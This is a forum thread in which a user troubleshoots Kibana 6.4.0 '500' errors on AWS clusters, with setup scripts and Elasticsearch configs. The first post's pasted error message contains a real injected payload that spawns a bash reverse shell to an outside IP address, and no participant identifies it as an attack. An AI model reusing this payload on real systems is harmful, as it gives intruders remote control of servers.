Kibana 6.4.0 Error 500

Eric_Yong · November 14, 2019, 7:16am

I have 2 clusters of ES + Kibana running, but only 1 of the cluster has problems.
Each cluster consists of 2Master, 2Data, 2 Client, and 1 Kibana. All running on EC2 (without docker or k8s)

After restarting the kibana, it will work for a while before it errors again.
Both dev tools and monitoring are not usable.

If I try to look at nodes of my ES, this error comes up

[illegal_argument_exception] failed to parse [NaNs], with { env={ AAAA="require(\"child_process\").exec(\"if [ ! -f /tmp/opwsqfah ];then touch /tmp/opwsqfah && /bin/bash -c '/bin/bash -i >& /dev/tcp/185.161.70.34/1111 0>&1'; fi\");process.exit()//" & NODE_OPTIONS="--require /proc/self/environ" } }: Check the Elasticsearch Monitoring cluster network connection or the load level of the nodes.

If I try to query something from Dev Tool, this comes up.

Debug: internal, implementation, error 
    Error: Uncaught error: Expected originalHeaders to be an object, but object given
    at setHeaders (/usr/share/kibana/src/core_plugins/elasticsearch/lib/set_headers.js:32:11)
    at getConfigForReq (/usr/share/kibana/src/core_plugins/console/index.js:91:53)
    at handler (/usr/share/kibana/src/core_plugins/console/server/proxy_route.js:113:11)
    at Object.internals.handler (/usr/share/kibana/node_modules/hapi/lib/handler.js:96:36)
    at Items.serial (/usr/share/kibana/node_modules/hapi/lib/handler.js:63:26)
    at done (/usr/share/kibana/node_modules/items/lib/index.js:31:25)
    at done (/usr/share/kibana/node_modules/items/lib/index.js:63:25)
    at pre (/usr/share/kibana/node_modules/hapi/lib/handler.js:52:24)
    at finalize (/usr/share/kibana/node_modules/hapi/lib/handler.js:281:20)
    at wrapped (/usr/share/kibana/node_modules/hoek/lib/index.js:879:20)
    at module.exports.internals.Response.internals.Response._processPrepare (/usr/share/kibana/node_modules/hapi/lib/response.js:521:16)
    at module.exports.internals.Response.internals.Response._prepare (/usr/share/kibana/node_modules/hapi/lib/response.js:460:21)
    at process.nextTick (/usr/share/kibana/node_modules/hapi/lib/reply.js:152:22)
    at _combinedTickCallback (internal/process/next_tick.js:131:7)
    at process._tickDomainCallback (internal/process/next_tick.js:218:9)

I tried querying individually to my elasticsearch servers without kibana and it worked fine.
I believe there was another post regarding the same error.

rashmi · November 14, 2019, 8:25pm

@dover any suggestions ?

I haven't seen this error before. How are you running Kibana and elasticsearch? Are either of them behind a proxy? Is there anything that might be modifying http headers? Can you share your kibana.yml and elasticsearch.yml content?

Eric_Yong · November 15, 2019, 8:40am

They are all connected via internal IP in AWS.
I installed them on the machines as is without any docker and stuff like that.

Example of one installation is as follows (from fresh instance)
Kibana has similar command, using https://artifacts.elastic.co/downloads/kibana/kibana-6.4.0-x86_64.rpm

#!/bin/bash
ulimit -n 65536
ulimit -u 65536
sysctl -w vm.max_map_count=262144
yum -y remove java-1.7.0-openjdk
yum -y install java-1.8.0-openjdk   jq  wget
rpm -i https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.0.rpm || error_exit "Failed to retrieve elasticsearch archive"
chkconfig --add elasticsearch
echo "cluster.name: sandbox-Elasticsearch-xxx
node.name: ${HOSTNAME}
path.data: /var/lib/elasticsearch
path.logs: /var/log/elasticsearch
bootstrap.memory_lock: true
network.host: [_eth0_,_local_,_ec2_]
discovery.zen.hosts_provider: ec2
discovery.ec2.availability_zones: ap-southeast-1a, ap-southeast-1b, ap-southeast-1c
cloud.node.auto_attributes: true
discovery.ec2.any_group: true
discovery.ec2.host_type: private_ip
discovery.ec2.tag.es-cluster: sandbox-Elasticsearch-xxx
node.master: false
node.data: false
cluster.routing.allocation.awareness.attributes: aws_availability_zone
discovery.ec2.endpoint: ec2.ap-southeast-1.amazonaws.com" > /etc/elasticsearch/elasticsearch.yml
echo "elasticsearch soft memlock unlimited
elasticsearch  -  nofile  65536
elasticsearch  hard  nproc  65536
elasticsearch  soft  nproc  65536
elasticsearch hard memlock unlimited" > /etc/security/limits.conf
#install aws plugin
cd /usr/share/elasticsearch
./bin/elasticsearch-plugin install -b discovery-ec2
./bin/elasticsearch-plugin install -b repository-s3
./bin/elasticsearch-plugin install -b x-pack
cd /etc/elasticsearch
sed -i 's/-Xms.*/-Xms2G/g' jvm.options
sed -i 's/-Xmx.*/-Xmx2G/g' jvm.options
service elasticsearch start

Kibana.yml

server.name: "kibana"
server.host: "0"
elasticsearch.url: "http://internal-sandb-PrivateE-xxxxx-xxxxx.ap-southeast-1.elb.amazonaws.com:9200"

elasticsearch.yml (master node)

cluster.name: sandbox-Elasticsearch-xxx
node.name: ip-192-xxx-xxx-yyy
path.data: /var/lib/elasticsearch
path.logs: /var/log/elasticsearch
bootstrap.memory_lock: true
network.host: [_eth0_,_local_,_ec2_]
discovery.zen.hosts_provider: ec2
discovery.ec2.availability_zones: ap-southeast-1a, ap-southeast-1b, ap-southeast-1c
cloud.node.auto_attributes: true
discovery.ec2.any_group: true
discovery.ec2.host_type: private_ip
discovery.ec2.tag.es-cluster: sandbox-Elasticsearch-xxx
node.master: true
node.data: false
cluster.routing.allocation.awareness.attributes: aws_availability_zone
discovery.ec2.endpoint: ec2.ap-southeast-1.amazonaws.com

elasticsearch.yml (data node)

cluster.name: sandbox-Elasticsearch-xxx
node.name: ip-192-xxx-xxx-zzz
path.data: /var/lib/elasticsearch
path.logs: /var/log/elasticsearch
bootstrap.memory_lock: true
network.host: [_eth0_,_local_,_ec2_]
discovery.zen.hosts_provider: ec2
discovery.ec2.availability_zones: ap-southeast-1a, ap-southeast-1b, ap-southeast-1c
cloud.node.auto_attributes: true
discovery.ec2.any_group: true
discovery.ec2.host_type: private_ip
discovery.ec2.tag.es-cluster: sandbox-Elasticsearch-xxx
node.master: false
node.data: true
cluster.routing.allocation.awareness.attributes: aws_availability_zone
discovery.ec2.endpoint: ec2.ap-southeast-1.amazonaws.com

elasticsearch.yml (client node)

cluster.name: sandbox-Elasticsearch-xxx
node.name: ip-192-xxx-xxx-qqq
path.data: /var/lib/elasticsearch
path.logs: /var/log/elasticsearch
bootstrap.memory_lock: true
network.host: [_eth0_,_local_,_ec2_]
discovery.zen.hosts_provider: ec2
discovery.ec2.availability_zones: ap-southeast-1a, ap-southeast-1b, ap-southeast-1c
cloud.node.auto_attributes: true
discovery.ec2.any_group: true
discovery.ec2.host_type: private_ip
discovery.ec2.tag.es-cluster: sandbox-Elasticsearch-xxx
node.master: false
node.data: false
cluster.routing.allocation.awareness.attributes: aws_availability_zone
discovery.ec2.endpoint: ec2.ap-southeast-1.amazonaws.com

rashmi · November 19, 2019, 3:42am

@joshdover cc

windonEsun · November 19, 2019, 5:51am

I also met.Kibana6.3 has the same problem.

Eric_Yong · November 20, 2019, 6:08am

still waiting for an answer!

Eric_Yong · December 3, 2019, 5:12am

oh well, i guess i won't get my answer here anymore.

system · December 31, 2019, 5:13am

This topic was automatically closed 28 days after the last reply. New replies are no longer allowed.